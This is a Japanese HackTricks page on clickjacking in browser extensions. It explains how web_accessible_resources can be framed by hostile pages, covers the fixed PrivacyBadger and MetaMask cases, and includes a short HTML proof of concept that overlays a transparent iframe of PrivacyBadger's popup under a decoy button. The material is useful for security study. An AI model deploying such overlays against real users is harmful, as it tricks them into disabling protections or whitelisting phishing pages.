BrowExt - ClickJacking
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
このページでは、ブラウザ拡張機能のClickJacking脆弱性を悪用します。
ClickJackingが何か分からない場合は、以下を確認してください:
拡張機能には**manifest.json
**ファイルが含まれており、そのJSONファイルにはweb_accessible_resources
フィールドがあります。以下はChromeのドキュメントに記載されている内容です:
これらのリソースは、URL **
chrome-extension://[PACKAGE ID]/[PATH]
を介してウェブページで利用可能になり、これはextension.getURL method
**を使用して生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用可能です。1
ブラウザ拡張機能の**web_accessible_resources
**は、単にウェブを介してアクセス可能なだけでなく、拡張機能の固有の権限で動作します。これは、以下のことが可能であることを意味します:
- 拡張機能の状態を変更する
- 追加のリソースを読み込む
- 一定の範囲でブラウザと相互作用する
しかし、この機能はセキュリティリスクをもたらします。**web_accessible_resources
**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部のウェブページに埋め込む可能性があります。このページを訪れる無防備なユーザーは、意図せずにこの埋め込まれたリソースをアクティブにしてしまうかもしれません。このようなアクティベーションは、拡張機能のリソースの権限や機能に応じて、意図しない結果を引き起こす可能性があります。
PrivacyBadgerの例
拡張機能PrivacyBadgerでは、skin/
ディレクトリが以下のようにweb_accessible_resources
として宣言されていることに関連する脆弱性が特定されました(元のブログ投稿を確認してください):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
この設定は潜在的なセキュリティ問題を引き起こしました。具体的には、ブラウザのPrivacyBadgerアイコンとのインタラクション時にレンダリングされるskin/popup.html
ファイルがiframe
内に埋め込まれる可能性があります。この埋め込みは、ユーザーを騙して「このウェブサイトのためにPrivacyBadgerを無効にする」を誤ってクリックさせるために悪用される可能性があります。このような行動は、PrivacyBadgerの保護を無効にし、ユーザーをより多くのトラッキングにさらすことで、ユーザーのプライバシーを危険にさらすことになります。このエクスプロイトの視覚的なデモは、https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webmで提供されているClickJackingのビデオ例で見ることができます。
この脆弱性に対処するために、簡単な解決策が実施されました:web_accessible_resources
のリストから/skin/*
を削除しました。この変更により、skin/
ディレクトリのコンテンツにウェブアクセス可能なリソースを通じてアクセスまたは操作できないようにすることで、リスクが効果的に軽減されました。
修正は簡単でした:web_accessible_resources
から/skin/*
を削除する。
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamaskの例
A blog post about a ClickJacking in metamask can be found here。この場合、Metamaskは、アクセスに使用されるプロトコルが**https:
またはhttp:
(例えばchrome:
**ではない)であることを確認することで脆弱性を修正しました:
.png)
Metamask拡張機能で修正された別のClickJackingは、ユーザーが“web_accessible_resources”: [“inpage.js”, “phishing.html”]
のためにフィッシングの疑いがあるページでホワイトリストに追加するためにクリックできたことです。そのページはClickjackingに対して脆弱であったため、攻撃者は被害者が気づかずにホワイトリストに追加するように正常なものを表示させてクリックさせ、その後フィッシングページに戻ることができました。
Steam Inventory Helperの例
Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:
参考文献
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。